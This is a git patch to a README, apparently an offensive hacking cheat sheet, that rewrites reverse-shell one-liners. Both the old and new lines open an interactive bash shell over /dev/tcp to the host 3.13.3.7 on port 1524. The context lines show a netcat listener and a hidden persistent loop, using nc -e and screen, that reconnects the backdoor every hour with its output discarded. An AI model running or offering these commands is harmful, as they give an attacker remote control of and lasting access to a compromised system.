From 7a5c1dccd00da2410e1bc2ea32f2d2b8a1f40f81 Mon Sep 17 00:00:00 2001 From: rootTHC <57636391+rootTHC@users.noreply.github.com> Date: Mon, 27 Jan 2020 09:43:59 +0000 Subject: [PATCH] Update README.md cleanup and bash compliant. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index f991630..26a080f 100644 --- a/README.md +++ b/README.md @@ -329,7 +329,7 @@ $ nc -nvlp 1524 On the remote system, this command will connect back to your system (IP = 3.13.3.7, Port 1524) and give you a shell prompt: ``` -$ bash -i 2>&1 >&/dev/tcp/3.13.3.7/1524 0>&1 +$ bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 ``` @@ -450,7 +450,7 @@ $ (while :; do nc -e /bin/bash -vn 3.13.3.7 1524; sleep 3600; done ) &>/dev/null Or ``` -$ screen -d -m /bin/bash -c 'while :; do bash -i 2>&1 >&/dev/tcp/3.13.3.7/1524 0>&1; sleep 3600; done' +$ screen -d -m /bin/bash -c 'while :; do bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 3600; done' ```